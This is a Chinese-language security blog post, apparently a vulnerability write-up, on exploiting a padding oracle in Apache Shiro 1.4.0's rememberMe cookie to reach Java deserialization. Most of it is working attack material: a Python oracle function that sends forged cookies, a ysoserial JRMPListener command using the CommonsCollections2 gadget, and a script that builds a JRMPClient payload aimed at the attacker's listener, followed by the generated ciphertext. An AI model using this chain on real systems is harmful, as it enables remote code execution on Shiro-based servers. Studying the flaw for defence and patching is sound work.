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        <h2 class="post-title" itemprop="name headline">Shiro v1.4.0反序列化

          
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        <h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p>shiro1.2.5后秘钥不再硬编码，但是采用CBC加密会产生padding  oracle攻击，又因为java序列化结构体后可以加垃圾字符，所以攻击能够成功</p><h1 id="解密时的调用链"><a href="#解密时的调用链" class="headerlink" title="解密时的调用链"></a>解密时的调用链</h1><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals // 不论哪个异常都会返回null，上层302跳转</span><br><span class="line">  org.apache.shiro.mgt.AbstractRememberMeManager#decrypt</span><br><span class="line">    org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])</span><br><span class="line">      org.apache.shiro.crypto.JcaCipherService#decrypt(byte[] encrypted, byte[] key, byte[] iv)</span><br><span class="line">        org.apache.shiro.crypto.JcaCipherService#crypt(byte[] encrypted, byte[] key, byte[] iv, int MODE):</span><br><span class="line">          org.apache.shiro.crypto.JcaCipherService#crypt(javax.crypto.Cipher, byte[] encrypted):459 //throw Unable to execute 'doFinal' with cipher instance</span><br><span class="line">            javax.crypto.Cipher#doFinal(byte[] encrypted)  //this=(key+iv+mode) // jce.jar包 调试直接在这下断点</span><br><span class="line">              com.sun.crypto.provider.AESCipher#engineDoFinal(byte[] encrypted, startIdx, len)</span><br><span class="line">                com.sun.crypto.provider.CipherCore#doFinal(byte[] encrypted, startIdx, len)</span><br><span class="line">                  com.sun.crypto.provider.CipherCore#fillOutputBuffer(encrypted, startIdx, iv, startIdx, len, encrypted)</span><br><span class="line">                    com.sun.crypto.provider.CipherCore#unpad(len, decrypted)</span><br><span class="line">                      com.sun.crypto.provider.PKCS5Padding#unpad(decrypted, startIdx, len)  // throw BadPaddingException</span><br><span class="line">  org.apache.shiro.mgt.AbstractRememberMeManager#deserialize(serialized)</span><br><span class="line">    org.apache.shiro.io.DefaultSerializer#deserialize(serialized) // invalid stream header</span><br></pre></td></tr></table></figure><a id="more"></a>

<h1 id="Padding-Oracle-原因"><a href="#Padding-Oracle-原因" class="headerlink" title="Padding  Oracle 原因"></a>Padding  Oracle 原因</h1><p>理论上即使padding通过，反序列化也会失败，统一报错并返回null。因为不管是Padding正确或是错误返回结果无区别，因此无法造成PaddingOracle。</p>
<p>但是注意到，<strong>若当字符串A可以成功反序列化，B为垃圾字符串，则A+B可以成功反序列化</strong>（这与java原生序列化数据结构有关），因此去掉SESSIONID后，在正常的rememberMe后面添加block，即rememberMe=prefix+iv+secret：</p>
<p><img src="/vulnresearch-Shrio1.4.0PaddingOracle导致反序列化/padding.png" alt="padding"></p>
<p>请求后：</p>
<ul>
<li><p>如果BadPaddingException</p>
<ul>
<li>返回重新登录（setCookie: DeleteMe=true）</li>
</ul>
</li>
<li><p>如果Padding合法</p>
<ul>
<li>与正常登录表现一样</li>
</ul>
</li>
</ul>
<p>因此存在Oracle：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">shiro_decode</span><span class="params">(secret: bytearray, iv: bytearray)</span> -&gt; int:</span></span><br><span class="line">    burp0_url = <span class="string">"http://localhost.com:8000/"</span></span><br><span class="line">    <span class="comment">#合法的rememberMe</span></span><br><span class="line">    prefix = base64.b64decode(<span class="string">"wM0qqzm72M+..."</span>)</span><br><span class="line"></span><br><span class="line">    base64_ciphertext = base64.b64encode(prefix+iv+secret).decode()</span><br><span class="line">    burp0_cookies = &#123;<span class="string">"rememberMe"</span>: base64_ciphertext&#125;</span><br><span class="line">    logging.info(<span class="string">"Sending secret=&#123;&#125;"</span>.format(secret))</span><br><span class="line">    res=requests.get(burp0_url, cookies=burp0_cookies, allow_redirects=<span class="literal">False</span>)</span><br><span class="line">    set_cookie=res.headers.get(<span class="string">'set-cookie'</span>,<span class="string">''</span>)</span><br><span class="line">    logging.info(<span class="string">"Headers &#123;&#125;."</span>.format(set_cookie))</span><br><span class="line">    <span class="keyword">if</span> <span class="string">'rememberMe'</span> <span class="keyword">in</span> set_cookie:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span></span><br></pre></td></tr></table></figure>
<h1 id="JRMP攻击步骤"><a href="#JRMP攻击步骤" class="headerlink" title="JRMP攻击步骤"></a>JRMP攻击步骤</h1><ol>
<li><p>自己服务器起一个JRMPListener：</p>
 <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections2 <span class="string">'calc'</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>用padding生成密文，padding oracle脚本在<a href="https://github.com/Anemone95/padding-oracle-attack" target="_blank" rel="noopener">https://github.com/Anemone95/padding-oracle-attack</a></p>
 <figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">shiro_padding_oracle</span><span class="params">()</span>:</span></span><br><span class="line">    fake_plain=get_deserialized(<span class="string">"127.0.0.1:1234"</span>)</span><br><span class="line">    print(len(fake_plain))</span><br><span class="line">    iv, secret=encrypt(fake_plain, <span class="number">16</span>)</span><br><span class="line">    print(base64.b64encode(iv+secret))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_deserialized</span><span class="params">(host)</span>:</span></span><br><span class="line">    popen = subprocess.Popen([<span class="string">'java'</span>,</span><br><span class="line">                              <span class="string">'-jar'</span>,</span><br><span class="line">                              <span class="string">'ysoserial.jar'</span>,</span><br><span class="line">                              <span class="string">'JRMPClient'</span>,</span><br><span class="line">                              host],</span><br><span class="line">                             stdout=subprocess.PIPE)</span><br><span class="line">    <span class="keyword">return</span> popen.stdout.read()</span><br></pre></td></tr></table></figure>
</li>
<li><p>返回结果：</p>
 <figure class="highlight verilog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">2019</span>-<span class="number">08</span>-<span class="number">07</span> <span class="number">17</span>:<span class="number">39</span>:<span class="number">10</span>,<span class="number">651</span> : INFO : poc<span class="variable">.py</span> : encrypt : IV: <span class="number">0</span>f154f913ce794ad2c65ce9c0c2bd19e, Secret: d363571634286d600279fdf124069a65695e1c3338da0d27131b6c9362bece8f10796c1163d0c067713a46063ee25313325cb58eedd5cb62be1ed495bd1550974f008df6486bfd0fe24e5a04bd3fb090f036451821303e6b808034e4392c1225bf5a7a5e3eb9fab7b055c809330f83db7a561a2ac4e95f8d16c9bfbe66b35774c16cbb3089e54b63c4d8f86b490dca0f8f1ac46cd4ab2b41645b1909b7fdb4a5c21f15033b6f7dc30b3308ee8f2fb5bf220f38355bbfed92be9431a4127034a967f507f8fc582a00dae5c013263507cb54b08694cba7ef998145147ce8419cc5a665462c2d3b91fb259629d2289e31e9d3c407a02d382df90ac62a7c1b35b08767cbe3541a74987280dff8a541aa20b700000000000000000000000000000000</span><br><span class="line">b'DxVPkTznlK0sZc6cDCvRntNjVxY0KG1gAnn98SQGmmVpXhwzONoNJxMbbJNivs6PEHlsEWPQwGdxOkYGPuJTEzJctY7t1ctivh7Ulb0VUJdPAI32SGv9D+JOWgS9P7CQ8DZFGCEwPmuAgDTkOSwSJb9ael4+ufq3sFXICTMPg9t6VhoqxOlfjRbJv75ms1d0wWy7MInlS2PE2PhrSQ3KD48axGzUqytBZFsZCbf9tKXCHxUDO299wwszCO6PL7W/Ig84NVu/<span class="number">7</span>ZK+lDGkEnA0qWf1B/j8WCoA2uXAEyY1B8tUsIaUy6fvmYFFFHzoQZzFpmVGLC07kfsllinSKJ4x6dPEB6AtOC35CsYqfBs1sIdny+NUGnSYcoDf+KVBqiC3AAAAAAAAAAAAAAAAAAAAAA=='</span><br></pre></td></tr></table></figure></li>
</ol>

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